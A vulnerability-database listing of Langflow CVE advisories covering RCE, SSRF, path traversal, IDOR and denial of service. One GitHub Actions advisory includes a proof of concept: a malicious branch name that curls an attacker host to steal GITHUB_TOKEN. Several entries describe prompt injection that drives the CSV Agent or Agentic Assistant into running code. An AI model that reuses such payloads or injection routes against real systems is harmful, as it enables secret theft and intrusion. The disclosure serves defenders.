Langflow CVEs & Vulnerabilities

IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow disclosure of all stored credentials due to the use of a weak and reversible key derivation mechanism for encryption at rest.

IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.

IBM Langflow OSS 1.0.0 through 1.10.0 allows users with Redis access to execute arbitrary code with full application privileges, compromising all secrets, data, and system integrity.

IBM Langflow OSS 1.0.0 through 1.10.0 could allow arbitrary code execution due to improper validation of flow nodes with missing or empty component type fields.

IBM Langflow OSS 1.0.0 through 1.9.6 could allow unauthenticated attackers to access protected MCP project resources and execute MCP operations due to improper authorization enforcement in the Streamable MCP transport endpoint.

IBM Langflow OSS 1.0.0 through 1.9.6 contains a Server-Side Request Forgery (SSRF). The legacy RSSReaderComponent in rss.py and SearXNG component in searxng.py make unvalidated HTTP requests to user-controlled URLs, bypassing SSRF protections introduced in version 1.9.3. An authenticated attacker can exploit this to access internal resources including cloud metadata services (AWS/Azure/GCP IMDS), potentially exfiltrating IAM credentials and enumerating internal networks. The vulnerability can also be triggered through prompt injection in agentic workflows due to tool_mode=True exposure.

IBM Langflow OSS 1.0.0 through 1.9.6 contains a missing authentication vulnerability in /api/v1/build_public_tmp/ endpoints that allows an unauthenticated attacker to read build event data or cancel jobs using a valid job identifier, resulting in information disclosure and denial of service.

IBM Langflow OSS 1.0.0 through 1.9.3 contains a Server-Side Request Forgery (SSRF) vulnerability in the URL component ( src/lfx/src/lfx/components/data_source/url.py ) due to a Time-of-Check/Time-of-Use (TOCTOU) race condition that can be exploited via DNS rebinding.

IBM Langflow OSS 1.0.0 through 1.10.0 voice mode contains improper shared-state handling that allows reuse of API clients across tenant boundaries. An authenticated attacker can manipulate cache state to cause requests from other users to be processed using incorrect upstream API credentials, leading to cross-tenant billing and accountability misattribution.

IBM Langflow OSS 1.0.0 through 1.9.3 allows an attacker to read every secret available to the Langflow process, read and modify every flow, conversation, message, file upload, and saved component in the Langflow database, can connect to internal services, abuse cloud metadata endpoints, laterally move to other tenants on the same Langflow instance, and Establish persistence by modifying the public flow's `tool_code` so normal `/api/v1/build/...` calls by any user re-execute attacker code at each build.

IBM Langflow OSS 1.0.0 through 1.9.3 contains a Server-Side Request Forgery (SSRF) protection bypass vulnerability in the API Request component. An authenticated attacker with low-level privileges (flow author role) can bypass SSRF protections by enabling the follow_redirects parameter and supplying a public URL that redirects to internal/localhost addresses. The vulnerability exists because the application validates only the initial URL but does not re-validate redirect destinations. This allows attackers to access internal HTTP services, localhost endpoints, cloud metadata services, and private network resources that should be unreachable when SSRF protection is enabled. Successful exploitation can lead to disclosure of sensitive information including credentials, tokens, internal API responses, and administrative panel data.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.1, unauthenticated users can upload any amount of data to the server without any limitations. No need for any prior knowledge, only network access to Langflow. This can lead to space exhaustion on the server. In addition, in the response, the absolute path of the uploaded file is reported to the attacker, which is an information leak that can assist in chaining other primitives. This vulnerability is fixed in 1.9.1.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, by controlling a files that are digested into the RAG, an attacker can direct the node to read any file on the file-system by absolute path. All components based on BaseFileComponent are vulnerable to the vulnerability. This includes Docling (DoclingInlineComponent), Docling Serve, DoclingRemoteComponent), Read File (FileComponent), NVIDIA Retriever Extraction (NvidiaIngestComponent), Video File (VideoFileComponent), and Unstructured API (UnstructuredComponent). This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.0.19, an attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. This vulnerability is fixed in 1.0.19.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.7.0, the logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. This vulnerability is fixed in 1.7.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, an Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.10.0, the "Shareable Playground" (or "Public Flows" in code) contains a potential arbitrary file-read vulnerability, depending on the exact flow configuration used. By making a flow public, public execution of the flow is allowed. The execution request can contain a list of files that gets read by Langflow and fed into the LLM. The files path can be any path supported by the storage - it can be either a local file or S3 path if supported by the local configuration This vulnerability is fixed in 1.10.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (POST /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are used directly to create file paths without proper sanitization or containment checks. An authenticated attacker can exploit this flaw to create directories and write files anywhere on the server's filesystem. This vulnerability is fixed in 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. This vulnerability is fixed in 1.9.0.

IBM Langflow OSS 1.0.0 through 1.8.4 could allow unauthenticated attackers to access protected MCP project resources and execute MCP operations due to improper authorization enforcement in the Streamable MCP transport endpoint.

IBM Langflow OSS 1.0.0 through 1.9.3 has an vulnerability due to an improper isolation of Python execution combined with an authentication bypass that allows an unauthenticated attacker to execute arbitrary code on the host system, resulting in complete compromise

A vulnerability was identified in langflow-ai langflow up to 1.9.3. This affects an unknown function of the component Bundle URL Loader. The manipulation leads to code injection. The attack needs to be performed locally. The vendor was contacted early about this disclosure but did not respond in any way.

IBM Langflow OSS 1.0.0 through 1.9.1 could allow an authenticated user to read or modify sensitive information by bypassing authentication using insecure direct object references.

IBM Langflow Desktop 1.0.0 through 1.9.2 IBM Langflow is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

IBM Langflow OSS 1.0.0 through 1.9.0 could allow a denial of service due to uncontrolled resource consumption.

IBM Langflow OSS 1.0.0 through 1.9.1 could allow remote code execution due to improper validation of symbolic links during archive extraction.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (DELETE /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are concatenated directly into file paths without proper sanitization or boundary validation. An authenticated attacker can exploit this flaw to delete arbitrary directories anywhere on the server's filesystem, leading to data loss and potential service disruption. This vulnerability is fixed in 1.9.0.

IBM Langflow OSS 1.0.0 through 1.8.4 could allow any user to supply a flow_id to read transaction logs and vertex build data belonging to other users, and to delete persisted vertex build data for another user's flow.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.